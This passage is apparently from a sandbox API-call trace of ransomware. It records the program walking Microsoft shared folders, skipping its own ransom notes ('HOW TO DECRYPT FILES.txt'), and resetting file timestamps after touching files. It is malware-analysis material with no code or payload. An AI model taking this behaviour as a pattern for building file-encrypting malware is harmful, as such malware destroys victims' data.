returned="" [0076.461] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.461] CloseHandle (hObject=0x8c) returned 1 [0076.462] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bff900, ftCreationTime.dwHighDateTime=0x1cc115e, ftLastAccessTime.dwLowDateTime=0x8f641300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x90bff900, ftLastWriteTime.dwHighDateTime=0x1cc115e, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0076.462] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.462] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdia80.dll") returned -1 [0076.462] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdia80.dll") returned -1 [0076.462] lstrcmpiA (lpString1="", lpString2="msdia80.dll") returned -1 [0076.462] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned="msdia100.dll" [0076.462] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\" [0076.462] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\") returned="" [0076.462] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2738400, ftCreationTime.dwHighDateTime=0x1cbfdf9, ftLastAccessTime.dwLowDateTime=0xb0535940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x2738400, ftLastWriteTime.dwHighDateTime=0x1cbfdf9, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0076.462] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.462] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdia90.dll") returned -1 [0076.462] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdia90.dll") returned -1 [0076.462] lstrcmpiA (lpString1="", lpString2="msdia90.dll") returned -1 [0076.463] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\msdia80.dll") returned="msdia80.dll" [0076.463] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\" [0076.463] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\") returned="" [0076.463] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2738400, ftCreationTime.dwHighDateTime=0x1cbfdf9, ftLastAccessTime.dwLowDateTime=0xb0535940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x2738400, ftLastWriteTime.dwHighDateTime=0x1cbfdf9, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0076.463] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.463] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="VGX", cAlternateFileName="")) returned 1 [0076.463] lstrcmpA (lpString1=".", lpString2="VGX") returned -1 [0076.463] lstrcmpA (lpString1="..", lpString2="VGX") returned -1 [0076.463] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.463] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.464] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.464] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.464] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.464] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.464] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1645318, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc1645318, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb0409ed0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb9600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0076.464] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.464] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VGX.dll") returned -1 [0076.464] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VGX.dll") returned -1 [0076.464] lstrcmpiA (lpString1="", lpString2="VGX.dll") returned -1 [0076.464] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\*.*") returned="*.*" [0076.464] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\" [0076.464] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\") returned="" [0076.466] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.466] CloseHandle (hObject=0x8c) returned 1 [0076.466] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1645318, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc1645318, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb0409ed0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb9600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0076.466] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.466] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="VSTA", cAlternateFileName="")) returned 1 [0076.466] lstrcmpA (lpString1=".", lpString2="VSTA") returned -1 [0076.467] lstrcmpA (lpString1="..", lpString2="VSTA") returned -1 [0076.467] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.467] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.467] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.467] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.467] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.467] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.467] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0076.467] lstrcmpA (lpString1=".", lpString2="8.0") returned -1 [0076.467] lstrcmpA (lpString1="..", lpString2="8.0") returned -1 [0076.467] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*.*") returned="*.*" [0076.467] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.470] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.470] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.470] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.470] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.470] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fce800, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x60fb5630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15fce800, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb", cAlternateFileName="MICROS~2.TLB")) returned 1 [0076.470] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.471] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb") returned -1 [0076.471] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb") returned -1 [0076.471] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb") returned -1 [0076.471] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\*.*") returned="*.*" [0076.471] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\" [0076.471] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\") returned="" [0076.472] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.472] CloseHandle (hObject=0x90) returned 1 [0076.473] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x185f4200, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x52622770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x185f4200, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.tlb", cAlternateFileName="MICROS~1.TLB")) returned 1 [0076.473] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.473] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.DesignTime.tlb") returned -1 [0076.473] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.DesignTime.tlb") returned -1 [0076.473] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.DesignTime.tlb") returned -1 [0076.473] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb") returned="Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb" [0076.473] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\" [0076.473] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\") returned="" [0076.473] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fce800, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15fce800, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x8f4, dwReserved0=0x740078, dwReserved1=0x0, cFileName="VSTARemotingServer.tlb", cAlternateFileName="VSTARE~1.TLB")) returned 1 [0076.473] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.474] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTARemotingServer.tlb") returned -1 [0076.474] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTARemotingServer.tlb") returned -1 [0076.474] lstrcmpiA (lpString1="", lpString2="VSTARemotingServer.tlb") returned -1 [0076.474] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\Microsoft.VisualStudio.Tools.Applications.DesignTime.tlb") returned="Microsoft.VisualStudio.Tools.Applications.DesignTime.tlb" [0076.474] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\" [0076.474] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\") returned="" [0076.474] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName="x86", cAlternateFileName="")) returned 1 [0076.474] lstrcmpA (lpString1=".", lpString2="x86") returned -1 [0076.474] lstrcmpA (lpString1="..", lpString2="x86") returned -1 [0076.474] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\VSTARemotingServer.tlb") returned="VSTARemotingServer.tlb" [0076.474] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ac, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.476] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.476] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0076.476] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.476] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.476] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8fb0600, ftCreationTime.dwHighDateTime=0x1c9e433, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8fb0600, ftLastWriteTime.dwHighDateTime=0x1c9e433, nFileSizeHigh=0x0, nFileSizeLow=0x7b58, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VSTARemotingServer.dll", cAlternateFileName="VSTARE~1.DLL")) returned 1 [0076.476] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.476] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTARemotingServer.dll") returned -1 [0076.476] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTARemotingServer.dll") returned -1 [0076.476] lstrcmpiA (lpString1="", lpString2="VSTARemotingServer.dll") returned -1 [0076.476] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\*.*") returned="*.*" [0076.476] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\" [0076.476] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\") returned="" [0076.478] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.478] CloseHandle (hObject=0x94) returned 1 [0076.479] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedbfba00, ftCreationTime.dwHighDateTime=0x1c9e433, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedbfba00, ftLastWriteTime.dwHighDateTime=0x1c9e433, nFileSizeHigh=0x0, nFileSizeLow=0x4b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe", cAlternateFileName="VSTA_E~1.EXE")) returned 1 [0076.479] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.479] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vsta_ep32.exe") returned -1 [0076.479] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vsta_ep32.exe") returned -1 [0076.479] lstrcmpiA (lpString1="", lpString2="vsta_ep32.exe") returned -1 [0076.479] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\VSTARemotingServer.dll") returned="VSTARemotingServer.dll" [0076.479] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\" [0076.479] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\") returned="" [0076.479] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1d62600, ftCreationTime.dwHighDateTime=0x1c9e42e, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1d62600, ftLastWriteTime.dwHighDateTime=0x1c9e42e, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="vsta_ep32.exe.config", cAlternateFileName="VSTA_E~1.CON")) returned 1 [0076.479] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.479] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vsta_ep32.exe.config") returned -1 [0076.479] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vsta_ep32.exe.config") returned -1 [0076.479] lstrcmpiA (lpString1="", lpString2="vsta_ep32.exe.config") returned -1 [0076.479] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\vsta_ep32.exe") returned="vsta_ep32.exe" [0076.479] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\" [0076.479] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\") returned="" [0076.480] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1d62600, ftCreationTime.dwHighDateTime=0x1c9e42e, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 